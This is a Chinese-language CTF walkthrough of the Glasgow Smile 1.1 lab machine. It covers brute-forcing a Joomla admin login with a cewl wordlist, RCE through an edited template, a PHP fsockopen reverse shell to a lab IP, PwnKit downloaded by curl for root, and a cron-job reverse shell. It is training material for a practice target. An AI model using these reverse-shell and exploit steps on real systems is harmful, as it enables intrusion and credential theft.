GLASGOW_SMILE_1_1打靶记录

主机探测

ip为192.168.31.195 端口扫描

查看web页面,目录遍历

/how_to.txt

爆破密码登录Joomla后台

/joomla Joomla是一套自由、开放源代码的内容管理系统,以PHP编写,通常被用来搭建商业网站、个人博客、信息管理系统、Web 服务等。

使用joomscan工具扫描,收集版本等信息

得知,版本信息为:Joomla 3.7.3rc1

[!Ps] /administrator/manifests/files/joomla.xml中可以看到版本信息

尝试了sql注入的测试,无果 https://www.exploit-db.com/exploits/42033

找到后台登录页面,尝试爆破密码登录后台

爆破账号密码通常需要从网站信息入手,用cewl工具根据网页信息生成字典 cewl http://192.168.31.195/joomla -m 5 -d 1 -w joker.txt 

  • cewl:这是一个用于从网页上抓取内容生成自定义词汇表的工具。
  • -m 5:指定词汇表中单词的最小长度为 5 个字符。
  • -d 1:表示抓取的深度级别为 1,这通常意味着 cewl 只会从指定的 URL 抓取内容,不会跟随外部网站的链接。

用户名我尝试了几个,adminjokerJokerjoomlaJoomlaRob,都是根据之前的信息猜测的 然后用脚本进行爆破,得到一组账号密码joomla/Gotham

成功登录到后台

RCE

登录之后,参考这个payload进行rce

1
curl -s http://192.168.31.195/joomla/templates/protostar/error.php?cmd=whoami

[!attention] 在php文件中写入的那句代码要在最前面写,不然会进入die函数从而无法执行到payload

反弹shell的命令需要经过url编码再传入

1
php -r '$sock=fsockopen("192.168.31.212",55555);exec("/bin/sh -i <&3 >&3 2>&3");'

成功反弹shell

查看家目录,可以看到每个目录都需要对应用户才可以进入查看

提权

方法一:pwnkit提权

查询SUID文件的时候,发现存在这个文件,可以尝试用pwnkit进行提权

准备好工具

1
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit

运气比较好,这个靶机可以下载文件,把PwnKit下载到靶机中然后赋予权限执行。成功提权

方法二

第一种提权方法显然是非预期hh 在靶机中收集信息时,发现了数据库的密码 /var/www/joomla2/configuration.php

登录rob账户

登录数据库之后,继续收集信息,发现了一些账户和密码

这里有个rob,之前反弹shell之后,在家目录下也看到过这个用户,base64解密得其密码为:???AllIHaveAreNegativeThoughts??? ssh登录rob

拿下第一个flag

rob的家目录下有个hint

是凯撒密码,对其使用偏移量为1的加密,得到hint

直接解密hint末尾的看上去是base64的字符串,发现是不可见字符,但是加密之后的字符串,能够成功base64解密: I33hope99my0death000makes44more8cents00than0my0life0

登录abner账户

用这个作为abner的登录密码,成功ssh登录abner

拿下第二个flag

查看bash历史,发现有切换到penguin用户,解压了一个zip文件

找到这个文件,查看其权限,当前用户abner是可以读取这个zip文件的

解压需要密码,就是abner的登录密码

登录penguin账户

末尾的字符串scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz作为penguin用户的登录密码,ssh登录penguin账户

登录penguin账户之后发现hint

意思是对方正在编写软件,软件仅以 root 权限运行,完成后会将其复制到此文件夹。

反弹root shell

此处需要用pspy工具来监控进程

[!note] pspy 是一个轻量级的Linux进程审计工具,用于监视系统上的进程活动和审计信息。它能够捕获和显示关键的进程活动,如进程创建、文件访问、网络连接等,从而帮助系统管理员或安全人员进行实时监控和分析。

pspy传上到靶机,赋予权限,运行。发现root用户通过定时任务定时运行目录下的.trash_old

写入反弹shell的语句,注意需要将末尾的exit 0注释掉

成功反弹shell,获取到root权限shell

查看root下的flag

总结

1、如果遇见爆破密码的地方,留意网站信息,针对性的制作字典来进行爆破(工具:cewl

2、登录cms后台之后,可以考虑寻找上传点来上传木马,或者寻找编辑文件的点,看能不能插入payload

3、预期提权方式有些绕,作者留下了很多hint,一环接一环的。最开始有用命令查看计划任务,但没有发现。后面发现其实还是有计划任务的,只是不是通过配置文件来设置的。

4、监控Linux进程的工具——pspy

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计
本博客已稳定运行